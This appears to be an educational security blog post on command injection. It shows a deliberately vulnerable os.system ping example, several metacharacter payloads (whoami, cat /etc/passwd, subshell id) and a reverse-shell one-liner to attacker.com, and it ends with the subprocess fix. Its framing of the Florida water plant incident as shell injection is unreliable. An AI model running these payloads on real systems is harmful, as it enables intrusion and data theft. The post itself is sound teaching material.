← Blog
Web Security2026-04-1010 min read

Command Injection: When Your App Hands an Attacker a Shell

A ping field that shells out to the OS. A file converter that calls ImageMagick. One unsanitised input and the attacker is running commands as your web server. Here's how command injection works and why it keeps appearing in CVEs.

In 2021, attackers compromised a Florida water treatment plant by exploiting a remote access tool and attempting to raise sodium hydroxide levels to dangerous concentrations. The vector wasn't sophisticated malware. It was a system that accepted user input and passed it, unsanitised, to an underlying shell.

Command injection is the vulnerability class that makes this possible. It sits behind some of the most severe CVEs ever published — CVSS scores of 9.8 and 10.0 — and it still appears in production systems at every level.

How it works

Every operating system has a shell — bash on Linux, cmd.exe on Windows — that interprets and executes strings as commands. Web applications sometimes use that shell directly, usually to run system utilities: ping a host, convert a file, run a script, check a domain.

The backend code might look like this:

import os

host = request.GET['host']
result = os.system(f"ping -c 1 {host}")

If you pass 8.8.8.8 the application runs ping -c 1 8.8.8.8 and returns the output. If you pass 8.8.8.8; whoami the shell executes both. The semicolon ends the first command and starts a new one.

Shell metacharacters

Bash treats several characters as control sequences. Any of these can chain, pipe, or conditionally execute additional commands:

8.8.8.8; whoami          # run whoami after ping
8.8.8.8 && cat /etc/passwd  # run only if ping succeeds
8.8.8.8 | ls -la /          # pipe ping output to ls
8.8.8.8 `id`               # backtick execution
8.8.8.8 $(id)               # subshell execution
The goal is to break out of whatever the developer intended the command to do, and append your own.

What you can do with it

The injected commands run with the privileges of the web server process. On a misconfigured server that might be root. On a typical server it's a service account — often still enough to:

A one-liner reverse shell in the ping field:

127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1

Blind command injection

Many injection points don't return command output to the page. The application runs your command but only shows its own UI. This is blind command injection.

You confirm it exists by causing a time delay — if sleep 5 makes the response take five seconds longer, the injection is real:

127.0.0.1; sleep 5

From there you exfiltrate data out-of-band: DNS lookups, HTTP requests to your server, or writing output to a file you can then read via the normal application interface.

Finding it

Look for any feature that operates on the OS: ping/traceroute tools, file conversion, document generation, image processing, DNS lookups, port scanners, SSH key generators. Any feature that might call out to a system binary is a candidate.

Test with the metacharacters above. Start with a time-delay to confirm blind injection before trying more intrusive payloads.

Why it still exists

How it's fixed

The correct fix is to never pass user input to a shell at all. Use language-native libraries instead of shelling out:

# Bad — user input reaches the shell
os.system(f"ping -c 1 {host}")

# Good — subprocess with a list, no shell=True
import subprocess
subprocess.run(["ping", "-c", "1", host], capture_output=True)

When you pass a list to subprocess.run with shell=False (the default), each element is treated as a literal argument. Shell metacharacters are inert.

If you genuinely need shell features, use an allowlist — only accept values from a predefined set of valid inputs and reject everything else before it ever reaches execution.

// Practice this

Everything in this post has a live lab on hackr.gg. Spin up a vulnerable machine and exploit it yourself — no setup, no VPN, runs in your browser.

Open Command Injection course
More posts
Web Security
SQL Injection: How One Quote Character Breaks a Database
9 min
Web Security
XSS: From alert(1) to Session Hijack
11 min
Career
How to Start Bug Bounty With Zero Experience (Realistic Guide)
14 min